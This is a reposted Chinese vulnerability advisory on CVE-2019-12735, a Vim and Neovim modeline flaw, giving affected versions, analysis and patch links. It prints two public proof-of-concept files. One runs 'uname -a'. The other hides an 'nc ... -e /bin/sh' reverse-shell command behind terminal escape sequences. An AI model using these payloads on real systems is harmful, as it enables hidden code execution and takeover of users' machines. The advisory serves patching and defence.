Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)

admin 2022年8月28日08:16:28安全漏洞评论4 views1744字阅读5分48秒阅读模式
Vim编辑器在8.1.1365和Neovim 0.3.6 之前版本存在严重的代码执行漏洞,当通过Vim编辑器打开特殊构造的文件,且Vim编辑器的ModelLine被启用,就会触发本地文件代码执行漏洞。虽然此漏洞是本地漏洞,如若结合社会工程学的方式进行攻击,危害不容小觑,容易造成重要敏感信息泄露,甚至会导致服务器被攻击者控制。


漏洞名称Vim编辑器本地代码执行漏洞

威胁等级严重

影响范围:Vim 8.1.1365 之前版本受影响,Neovim 0.3.6 之前版本受影响

漏洞类型:代码执行漏洞

利用难度:较难


千里百科 - Vim介绍

Vim是一款功能强大,扩展性高的文本编辑器,因其在代码补全与代码编译方面有着突出的优势,而被Unix/Linux平台的程序开发人员广泛使用。


漏洞分析


Vim 8.1.1365之前版本与Neovim 0.3.6 之前版本因在命令行功能中允许在文件的开头或结尾附近指定自定义编辑器选项。默认启用并适用于所有文件类型,从而导致:source! 命令可用于绕过沙箱限制。从既定文件中读取并执行命令,因此可以轻松构建在沙箱外允许运行代码的模式行。目前Arminius 在GitHub 上公开了该漏洞Poc。


漏洞利用姿势一:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发文件中的命令代码来执行系统命令。
1、被公开的相应PoC代码如下:
    :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source!     %"):fdl=0:fdt="
2、可以看出,文件poc.txt中的“uname -a”代码命令被执行成功。效果如下:

Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)

(图1)

3.2、漏洞利用姿势二:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发本地PoC文件中的“nohup nc 127.0.0.1 9999 -e /bin/sh &”代码命令,执行shell反弹命令,从而导致服务器被控制。
1、被公开的相应PoC代码如下:
x1b[?7lx1bSNothing here.x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
2、可以看出,文件Shell.txt中的“nohup nc 127.0.0.1 9999 -e /bin/sh &”    代码命令被执行成功。效果如下:

Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)

(图2)

3、Neovim的nvim_input() 函数同样可以被构造进行本地命令执行,构造方式与    Vim编辑器方式类似,在此不做过多赘述。

影响范围

目前受影响的软件版本:
1,Vim 8.1.1365 之前版本受影响
2,Neovim 0.3.6 之前版本受影响


修复建议

安装Vim团队和Neovim团队发布的安全更新补丁或按照厂商建议进行漏洞防范:

Vim安全补丁下载地址:
https://github.com/vim/vim/commit/5357552

Neovim安全补丁下载地址:
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6

温馨提示:在打完补丁之后,建议禁用ModelLine,如确实需要,可使用Securemodelines进行代替。


参考链接


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

 

时间轴

   

2019/06/04 

国外Arminius安全研究员披露漏洞

2019/06/06

深信服千里目安全实验室翻译并发布漏洞预警





原文始发于微信公众号(深信服千里目安全实验室):Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日08:16:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Vim编辑器本地代码执行漏洞预警(CVE-2019-12735) http://cn-sec.com/archives/785969.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: